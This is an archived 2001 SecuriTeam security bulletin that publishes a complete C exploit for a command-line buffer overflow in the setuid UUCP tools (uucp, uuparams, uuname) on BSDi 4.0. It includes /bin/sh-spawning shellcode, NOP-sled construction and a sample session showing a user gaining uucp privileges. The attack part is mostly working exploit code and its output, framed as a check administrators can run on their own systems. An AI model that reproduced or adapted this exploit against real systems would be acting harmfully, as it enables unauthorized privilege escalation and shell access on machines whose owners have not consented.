[EXPL] UUCP Family Exploit (uucp / uuparams / uuname)

From: support@securiteam.com
Date: 12/10/01


From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 10 Dec 2001 09:01:18 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  UUCP Family Exploit (uucp / uuparams / uuname)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/6X00Y0035M.html> UUCP Command Line
Arguments Buffer Overflow, a buffer overflow vulnerability in UUCP allows
an attacker to cause the program to execute arbitrary code, thus gaining
elevated access (when the program has been set setuid uucp, or root).

The following is an exploit code that can be used by administrators to
verify whether they are vulnerable or not.

DETAILS

Example:
bash-2.02$ id
uid=123(t) gid=100(user) groups=100(user)
bash-2.02$ cc bsdi_uucp.c -o bsdi_uucp
bash-2.02$ ./bsdi_uucp -uuparams
[ (BSDi/4.0)uucp*[]: family buffer overflow, by:
v9@fakehalo.deadpig.org. ]
*** [data]: return address: 0x80474, program:
/usr/sbin/uuparams.
$ id
uid=123(t) euid=6(uucp) gid=100(user) egid=6(uucp)
groups=6(uucp), 100(user)
$
 
-- usage end --

Exploit:
-- bsdi_uucp.c start --
 
/* (BSDi)uucp[] family buffer overflow. by:
   v9@fakehalo.deadpig.org. this yields
   euid/egid/group=6(uucp) on BSDi/4.0
   systems. (BSDi specific exploit)
*/
#define UUCP "/usr/bin/uucp"
#define UUPARAMS "/usr/sbin/uuparams"
#define UUNAME "/usr/bin/uuname"
#define FILLER "x"
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46"
 "\xfa\x89\x46\x0c\x89\x76\x08\x50\x8d\x5e"
 "\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff"
 "\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62"
 "\x69\x6e\x2f\x73\x68\x00"; /* 46 chars. */
void usage(char *progname){
 printf("*** [syntax]: %s <-uucp|-uuparams|"
 "-uuname>\n",progname);
 exit(1);
}
long pointer(void){__asm__("movl %esp,%eax");}
int main(int ac,char **av){
 unsigned short type=0;
 unsigned int i=0;
 long ret;
 char eip[1024],buf[4096];
 char *progptr;
 printf("[ (BSDi/4.0)uucp*[]: family buffer o"
 "verflow, by: v9@fakehalo.deadpig.org. ]\n");
 if(ac>1){
  if(!strncasecmp(av[1],"-uucp",5)){
   progptr=UUCP;
   type=1;
  }
  else if(!strncasecmp(av[1],"-uuparams",9)){
   progptr=UUPARAMS;
   type=0;
  }
  else if(!strncasecmp(av[1],"-uuname",7)){
   progptr=UUNAME;
   type=0;
  }
  else
   usage(av[0]);
 }
 else
  usage(av[0]);
 ret=(pointer()+sizeof(buf));
 eip[0]=0x01;eip[1]=0x01;eip[2]=0x01;
 for(i=3;i<1024;i+=4){*(long *)&eip[i]=ret;}
 eip[i]=0x0;for(i=0;i<(sizeof(buf)-
 strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, p"
 "rogram: %s.\n",ret,progptr);
 if(execl(progptr,progptr,FILLER,
 (type?FILLER:eip),(type?eip:0),0)){
  printf("*** [error]: could not execute %s s"
  "uccessfully.\n",progptr);
  exit(1);
 }
 exit(0);
}
 
-- bsdi_uucp.c end --

ADDITIONAL INFORMATION

The information has been provided by <mailto:v9@fakehalo.deadpig.org>
Vade 79 .

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Another Buffer Overflow Found in PostgreSQL (repeat function)
    ... which suffers from a buffer overflow. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] UUCP Command Line Arguments Buffer Overflow
    ... UUCP Command Line Arguments Buffer Overflow ... A buffer overflow vulnerability in UUCP has been found. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [EXPL] Locator Service Buffer Overflow Exploit Code
    ... Locator Service ... Buffer Overflow Vulnerability, a buffer overflow in the Locator service ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • Re: UUCP
    ... Subject: UUCP ... security fix for uuxqt parsing of command line arguments ... > buffer overflow is based on command line argv. ...
    (Vuln-Dev)
  • RE: UUCP
    ... This is really funny if true, I remember seeing this bug over a long period ... many releases of one flavor of UNIX.... ... Subject: UUCP ... buffer overflow is based on command line argv. ...
    (Vuln-Dev)